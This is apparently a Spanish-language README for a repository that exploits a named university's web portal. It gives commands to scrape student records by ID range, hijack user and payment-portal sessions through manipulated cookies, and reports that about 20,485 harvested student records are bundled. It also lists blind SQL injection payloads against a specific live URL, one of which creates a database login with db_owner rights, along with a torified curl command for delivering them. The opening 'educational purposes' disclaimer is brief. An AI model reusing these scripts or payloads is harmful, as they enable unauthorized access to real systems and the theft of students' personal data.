Caution
Este script fue creado con fines educativos,en ningun momento se pretende hacer daño a la universidad o a su portal web al contrario se pretende ayudar a mejorar la seguridad de la misma
Script que permite obtener la información de estudiantes y la sesion de un usuario en el portal de la universidad. Ademas de poder inyectar codigo SQL en una cookie en la base de datos de la universidad.
La vunerabilidad consiste en manipular la cookie de una session para obtener la informacion de un usuario sin necesidad de logearse en el portal de la universidad.
la estructura de cookie es la siguiente:
{
".ASPXAUTH": "puede ser cualquier sesion",
"ASP.NET_SessionId": "id de la session del autenticacion",
"CodigoUsuario": "codigo del usuario",
"usuario": "nombre del usuario",
}
- Node.js v20.0.0
git clone https://github.com/epmyas2022/uped-vunerabilidad.git
npm install
Configurar las variables de entorno en el archivo .env
ASPXAUTH=#de cualquier sesion
SESSION_ID=#id de la session del autenticacion
ARGS=#argumentos para el navegador
Obtener la informacion del expediente de los estudiantes basados en un rango x1 a x2
npm run general <x1> <x2> [optional | Boolean] <headless>
Obtener la sesion de un usuario
npm run login <user> <codigo>
Obtener la sesion del portal de pagos de un estudiante
npm run pagos <user> <codigo>
Esto es util para ejecutar el script en un contenedor docker, podriamos ejecutar x cantidad de contenedores para obtener la informacion de los estudiantes.
Construir la imagen (builder)
docker build -f .docker/Dockerfile --target builder -t uped-vunerabilidad .
Construir el contenedor
docker run -it -d -e ASPXAUTH=token -e SESSION_ID=id -e FROM=desde -e TO=hasta --privileged --security-opt seccomp=.docker/chrome.json uped-vunerabilidad
Dentro de la carpeta data se encuentra varios datos con que se comprobo la vulnerabilidad del portal de la universidad. estos datos obtenidos fueron mediante el script aprovechando la vulnerabilidad. en total existen aproximadamente 20,485 registros de estudiantes.
Se descubrio otra vunerabilidad que permite inyectar codigo SQL en una cookie y mediante esto se logro obtener acceso a la base de datos de la universidad. La url a la que se le inyecto el codigo SQL fue la siguiente:
https://myappcloud.net/uped/portal_catedratico/externa.aspx
Ejemplo de inyeccion SQL
Con esto se valida si es vulnerable a inyeccion SQL si es vunerable se demorara 20 segundos en responder.
' BEGIN WAITFOR DELAY '0:0:20'--
Con la siguiente inyeccion se logro encontrar cual es el nombre de la base de datos de la universidad.
' IF EXIST (SELECT 1 FROM sys.databases WHERE name LIKE '%uonline_uped%') BEGIN WAITFOR DELAY '0:0:20' END--
Con la siguiete inyeccion se logro crear un usuario en la base de datos de la universidad para su posterior uso.
'IF (SELECT COUNT(*) FROM sys.databases WHERE name LIKE 'uonline_uped') > 0 BEGIN USE uonline_uped CREATE LOGIN mssql_user WITH password = 'your_password' CREATE USER mssql_user FOR LOGIN mssql_user ALTER ROLE db_owner ADD MEMBER mssql_user WAITFOR DELAY '0:0:20' END--
Ejemplo de curl
para inyectar codigo SQL
torify curl -X GET "https://myappcloud.net/uped/portal_catedratico/externa.aspx" \
--cookie ".ASPXAUTH=<auth_de_cualquier_sesion>" \
--cookie "ASP.NET_SessionId=<id_de_cualquier_sesion>" \
--cookie "CodigoUsuario=1789" \
--cookie "Usuario=<injection_sql>"
Podemos acceder a la base de datos a través de un contenedor de docker usando novnc y dbeaver.
Acceder a la carpeta database-docker
:
cd database-docker
Ejecutar el contenedor:
docker-compose up -d
Si todo salio bien, podemos acceder a la base de datos a través de un navegador web. http://localhost:8080/vnc.html